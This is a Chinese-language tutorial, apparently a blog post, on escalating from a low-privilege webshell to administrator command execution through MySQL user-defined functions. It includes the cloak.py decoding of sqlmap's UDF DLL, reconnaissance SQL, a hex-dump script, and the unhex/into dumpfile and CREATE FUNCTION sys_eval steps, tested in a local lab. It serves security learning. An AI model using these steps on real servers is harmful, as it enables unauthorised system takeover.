参考文章:gylq师傅的文章,这是很详细的一篇文章,推荐大家看看,本文是更多的是概括该文内容并加以自己的理解,所以很多重复之处就直接引用文章内容了。
利用MySQL UDF进行的一次渗透测试 - FreeBuf网络安全行业门户
基础知识
前置知识
udf--user defined function,用户自定义函数。
关联语法:
CREATE [AGGREGATE] FUNCTION [IF NOT EXISTS] function_name
RETURNS {STRING|INTEGER|REAL|DECIMAL}
SONAME shared_library_name
其中soname指shared_library_name,也就是存放用户自定义函数的文件,windows下为.dll文件,linux下为.so文件。
该文件需要上传至mysql的检索目录下:
- mysql<5.0 : 任意路径
- 5.0<=mysql<5.1 : 需要导出至目标服务器的系统目录(如:c:/windows/system32/)
- mysql>=5.1 : MySQL安装目录下的lib\plugin文件夹下
利用细节
为什么要用到udf注入?
引用:在一般渗透过程中,拿下一台windows服务器的webshell时,由于webshell权限较低,有些操作无法进行,而此时本地恰好存在mysql数据库,那么udf可能就派上用场了;由于windows安装的mysql进程一般都拥有管理员权限,这就意味着用户自定义的函数也拥有管理员权限,我们也就拥有了执行管理员命令的权限,这时新建管理员用户等操作也就轻而易举了,大多数人称为这一操作为udf提权,其实表达不够准确,应该称为通过mysql获得管理员权限。
udf文件在哪里得到?
sqlmap中有现成的udf文件,
以我的为例:
sqlmap\data\udf\mysql\windows\64。但是sqlmap中自带的shell以及一些二进制文件,为了防止误杀都经过异或编码,不能直接使用
可以利用sqlmap 自带的解码工具cloak.py,在sqlmap\extra\cloak中打开命令行,来对lib_mysqludf_sys.dll_进行解码在,然后在直接利用,输入下面的
cloak.py -d -i C:\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
就会得到一个lib_mysqludf_sys.dll,能够直接使用。
该dll文件提供的函数:sys_eval,执行任意命令,并将输出返回。
sys_exec,执行任意命令,并将退出码返回。
sys_get,获取一个环境变量。
sys_set,创建或修改一个环境变量。
一些信息搜集相关sql语句
select version()
select @@basedir #查看sql安装路径
show variables like "secure_file_priv"; #能读入或写入文件的路径
select @@plugin_dir #查看plugin_dir路径
如何上传该文件?
通过webshell上传文件或通过编码字符上传后再解码回去。
这里讲16进制字符上传:(同理base64那些当然也可以)
先把该文件16进制字符串导出:
用脚本:
file=open('E:/lib_mysqludf_sys.dll', 'rb')
content=file.read()
hex_content=content.hex()
file1=open("E:/a.txt","w")
file1.write(hex_content)
或用mysql语句select hex(load_file("E:/lib_mysqludf_sys.dll")) into dumpfile "E:/1.txt"
但是后者需要在mysql的配置文件my.ini的mysqld模块下设置安全路径(能够读取文件,上传文件的目录)
任意路径:secure_file_priv=
指定路径:secure_file_priv=/c/example
禁止导入或导出:secure_file_priv=NULL
设置后重启即可。
上传16进制
见本地实验
本地实验
phpstudy搭建,mysql版本8.x.x。
select unhex("") into dumpfile "plugin路径/udf.dll"
unhex里面填得到的16进制字符串
然后create function sys_eval returns string soname 'udf.dll'
最后执行试试:
成功回显。
注意:这里一定要into dumpfile 而非into outfile,前者是以二进制格式写入,后者是以文本格式写入。